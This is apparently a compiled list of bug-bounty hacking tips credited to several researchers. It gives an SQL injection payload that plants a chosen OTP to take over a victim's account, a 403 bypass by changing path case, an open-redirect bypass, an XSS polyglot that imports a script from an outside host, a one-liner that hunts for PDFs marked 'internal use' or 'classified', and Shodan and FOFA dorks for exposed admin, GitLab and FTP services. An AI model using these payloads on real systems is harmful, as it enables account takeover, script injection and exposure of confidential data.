Case Insensitivity Vulnerability

/api/docs/index.html ==> 403 Forbidden
/api/Docs/index.html ==> 200 Ok

SQL Injection to Account Takeover Manually :)
1. Enter mobile number to login intercept
{"mobile_number":"8888888888"} >> 200
{"mobile_number":"8888888888'"} >> 500
{"mobile_number":"8888888888''"} >> 200

2. Final Query:
8888888888','1111','2024-04-03 21:20:55',1,'2024-04-03 21:20:55') --

2024-04-03 21:20:55 >> Exact time and date
1 >> attempts
you can see the 200 response

last you can login with the 1110 OTP and get access to the victim account :)

Credit- Kullai

Bypass open redirection whitelisted using chinese dots: 👀🔓🔍

%E3%80%82

Tip: Keep eyes on SSO redirects 😉🔀

credit: @adrielsec

Short #XSS Polyglot Payload

'/*\'/*"/*\"/*</Script>
<Input/AutoFocus/OnFocus=/**/
(import(/https:\\X55.is/.source))//>

Note- It works for most HTML and JS injection scenarios.

Credit- knoxss.me (Not an AD)

🚨Subdominator - Unleash the Power of Subdomain Enumeration🚨

📢Subdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.


🔗Link- https://github.com/RevoltSecurities/Subdominator

♨️One-liner to find sensitive PDF file♨️

for i in `cat apex-domains.txt | gau --subs --threads 16 | grep -Ea '\.pdf' | httpx -silent -mc 200`; do if curl -s "$i" | pdftotext -q - - | grep -Eaiq 'internal use|classified'; then echo $i; fi; done

🚨Gourlex🚨

📢It is a simple tool that can be used to extract URLs and paths from web pages. It can be helpful during web application assessments to uncover additional targets.

🔗Link https://github.com/trap-bytes/gourlex

shodan dorks for recon :

1. http://ssl.cert.subject.CN:"*.target.com" http.noscript:"index of/"

2. http://ssl.cert.subject.CN:"*.target.com" http.noscript:"gitlab"

3. http://ssl.cert.subject.CN:"*. http://target.com" http.noscript:"gitlab"

4. http://ssl.cert.subject.CN:"*.target.com" "230 login successful" port:"21"

5. http://ssl.cert.subject.CN:"*. http://target.com" +200 http.noscript:"Admin"

🚨CVE-2024-34351:Next.js SSRF in Server Actions🚨

📢 Security researchers at Assetnote have identified a SSRF vulnerability in Next.js Server Actions. If the Host header is modified, and certain conditions are met, an attacker may be able to make requests that appear to be originating from the Next.js application server itself.

📝Dorks--->
Hunter:/product.name="Next.js"
FOFA:app="Next.js"
SHODAN:http.component:"Next.js"

🔗PoC: https://lnkd.in/gKbjiHVY

⚠Stay vigilant and take necessary precautions to protect your applications.